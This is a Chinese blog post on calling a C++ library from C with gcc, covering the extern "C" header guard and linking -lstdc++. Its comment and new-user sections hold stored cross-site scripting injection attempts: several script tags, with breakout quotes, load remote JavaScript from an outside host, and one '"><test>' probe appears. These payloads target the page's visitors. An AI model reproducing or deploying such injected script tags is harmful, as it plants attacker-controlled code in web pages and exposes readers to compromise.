gcc使用c++库



在c语言程序中调用c++库。需要做以下两步工作:

1、定义头文件时,要加上

 

#ifdef __cplusplus extern “C” { #endif

 

头文件内容

 

#ifdef __cplusplus } #endif

 

这个是表示在c++编译器编译时,生成的函数名使用c语言格式修饰符。

 

2、在用gcc进行链接时,要加上 -lstdc++ 库。且要放在最后。因为gcc是按从右到左的顺序查找依赖库的。

如果没有这一步,会在链接时提示错误:

/usr/bin/ld: /usr/local/lib/libtranscodeipc.a(CCmdLine.o): undefined reference to symbol ‘_Znam@@GLIBCXX_3.4′ /usr/lib/x86_64-linux-gnu/libstdc++.so.6: error adding symbols: DSO missing from command line

 

参考:

http://xinxin8.blog.51cto.com/4141857/820388


Next article

Comment 评论



Share 分享

New Users 最新加入

  • "><script type="text/javascript&qu

  • hokurikustr

New comments 最新评论

&quot;&gt;&lt;script type=&quot;te: <script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/J860XYPPDSWNG"></script> Details Oct 02 13:07
toored: "><script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/J860XYPPDSWNG"></script> Details Oct 02 12:58
toored: <script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/J860XYPPDSWNG"></script> Details Oct 02 12:57
toored: "><test> Details Oct 02 12:56
test123: aasdas Details Apr 13 16:39